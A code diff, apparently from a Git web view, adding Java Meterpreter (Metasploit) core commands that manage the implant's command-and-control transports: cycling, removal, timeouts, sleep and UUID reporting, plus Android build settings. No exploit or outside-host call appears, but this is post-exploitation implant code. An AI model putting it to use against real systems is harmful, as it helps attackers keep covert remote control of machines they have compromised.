||||
|
||||
if (h.getUserAgent().length() > 0) {
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_UA, h.getUserAgent());
|
||||
}
|
||||
|
||||
if (h.getProxy().length() > 0) {
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_HOST, h.getProxy());
|
||||
}
|
||||
|
||||
if (h.getProxyUser().length() > 0) {
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_USER, h.getProxyUser());
|
||||
}
|
||||
|
||||
if (h.getProxyPass().length() > 0) {
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_PROXY_PASS, h.getProxyPass());
|
||||
}
|
||||
|
||||
if (h.getCertHash() != null) {
|
||||
transportData.add(TLVType.TLV_TYPE_TRANS_CERT_HASH, h.getCertHash());
|
||||
}
|
||||
}
|
||||
|
||||
response.addOverflow(TLVType.TLV_TYPE_TRANS_GROUP, transportData);
|
||||
|
||||
t = t.getNext();
|
||||
} while (t != first);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,20 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.TcpTransport;
|
||||
import com.metasploit.meterpreter.HttpTransport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_next implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
meterpreter.getTransports().setNext(meterpreter.getTransports().current().getNext(), 0);
|
||||
|
||||
return EXIT_DISPATCH;
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,21 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.TcpTransport;
|
||||
import com.metasploit.meterpreter.HttpTransport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_prev implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
meterpreter.getTransports().setNext(meterpreter.getTransports().current().getPrev(), 0);
|
||||
|
||||
return EXIT_DISPATCH;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -0,0 +1,45 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.TcpTransport;
|
||||
import com.metasploit.meterpreter.HttpTransport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_remove implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Transport t = meterpreter.getTransports().current();
|
||||
|
||||
// check if this is the last transport
|
||||
if (t == t.getNext()) {
|
||||
// cant' delete the last transport
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
String transportUrl = request.getStringValue(TLVType.TLV_TYPE_TRANS_URL);
|
||||
Transport found = null;
|
||||
|
||||
do {
|
||||
if (t.getUrl().equals(transportUrl)) {
|
||||
found = t;
|
||||
break;
|
||||
}
|
||||
t = t.getNext();
|
||||
} while(t != meterpreter.getTransports().current());
|
||||
|
||||
if (found == null || found == meterpreter.getTransports().current()) {
|
||||
// invalid transport specified (missing or current)
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
meterpreter.getTransports().remove(found);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
@ -0,0 +1,54 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_set_timeouts implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
Transport currentTransport = meterpreter.getTransports().current();
|
||||
|
||||
try {
|
||||
long sessionExpiry = request.getIntValue(TLVType.TLV_TYPE_TRANS_SESSION_EXP);
|
||||
meterpreter.setExpiry(sessionExpiry);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
// session expiry not specified
|
||||
}
|
||||
|
||||
try {
|
||||
long commTimeout = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT);
|
||||
currentTransport.setCommTimeout(commTimeout);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
// comm timeout not specified
|
||||
}
|
||||
|
||||
try {
|
||||
long retryTotal = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL);
|
||||
currentTransport.setRetryTotal(retryTotal);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
// retry total not specified
|
||||
}
|
||||
|
||||
try {
|
||||
long retryWait = request.getIntValue(TLVType.TLV_TYPE_TRANS_RETRY_WAIT);
|
||||
currentTransport.setRetryWait(retryWait);
|
||||
}
|
||||
catch (IllegalArgumentException ex) {
|
||||
// retry wait not specified
|
||||
}
|
||||
|
||||
response.add(TLVType.TLV_TYPE_TRANS_SESSION_EXP, (int)meterpreter.getExpiry());
|
||||
response.add(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT, (int)currentTransport.getCommTimeout());
|
||||
response.add(TLVType.TLV_TYPE_TRANS_RETRY_TOTAL, (int)currentTransport.getRetryTotal());
|
||||
response.add(TLVType.TLV_TYPE_TRANS_RETRY_WAIT, (int)currentTransport.getRetryWait());
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
@ -0,0 +1,28 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Transport;
|
||||
import com.metasploit.meterpreter.TcpTransport;
|
||||
import com.metasploit.meterpreter.HttpTransport;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
public class core_transport_sleep implements Command {
|
||||
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
int result = EXIT_DISPATCH;
|
||||
|
||||
try {
|
||||
long sleep = request.getIntValue(TLVType.TLV_TYPE_TRANS_COMM_TIMEOUT) * Transport.MS;
|
||||
meterpreter.getTransports().setNext(meterpreter.getTransports().current(), sleep);
|
||||
}
|
||||
catch (Exception ex) {
|
||||
result = ERROR_FAILURE;
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
}
|
||||
|
@ -0,0 +1,17 @@
|
||||
package com.metasploit.meterpreter.core;
|
||||
|
||||
import com.metasploit.meterpreter.Meterpreter;
|
||||
import com.metasploit.meterpreter.TLVPacket;
|
||||
import com.metasploit.meterpreter.TLVType;
|
||||
import com.metasploit.meterpreter.Utils;
|
||||
import com.metasploit.meterpreter.command.Command;
|
||||
|
||||
import java.io.IOException;
|
||||
|
||||
public class core_uuid implements Command {
|
||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||
response.add(TLVType.TLV_TYPE_UUID, meterpreter.getUUID());
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
@ -2,14 +2,14 @@
|
||||
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
|
||||
<modelVersion>4.0.0</modelVersion>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload-Compatibility-android-api3</artifactId>
|
||||
<artifactId>Metasploit-JavaPayload-Compatibility-android-api10</artifactId>
|
||||
<parent>
|
||||
<groupId>com.metasploit</groupId>
|
||||
<artifactId>Metasploit-JavaPayload-Compatibility-parent</artifactId>
|
||||
<version>1-SNAPSHOT</version>
|
||||
</parent>
|
||||
<packaging>jar</packaging>
|
||||
<name>JavaPayload Compatibility Checks (Android API 3)</name>
|
||||
<name>JavaPayload Compatibility Checks (Android API 10)</name>
|
||||
<url>http://www.metasploit.com/</url>
|
||||
<dependencies>
|
||||
<dependency>
|
||||
@ -72,8 +72,8 @@
|
||||
<configuration>
|
||||
<signature>
|
||||
<groupId>net.sf.androidscents.signature</groupId>
|
||||
<artifactId>android-api-level-1</artifactId>
|
||||
<version>1.0_r2</version>
|
||||
<artifactId>android-api-level-10</artifactId>
|
||||
<version>2.3.3_r2</version>
|
||||
</signature>
|
||||
</configuration>
|
||||
</execution>
|
@ -52,8 +52,6 @@
|
||||
<module>java16</module>
|
||||
<module>java15</module>
|
||||
<module>java14</module>
|
||||
<module>java13</module>
|
||||
<module>java12</module>
|
||||
<module>android-api3</module>
|
||||
<module>android-api10</module>
|
||||
</modules>
|
||||
</project>
|
||||
|
Loading…
Reference in New Issue
Block a user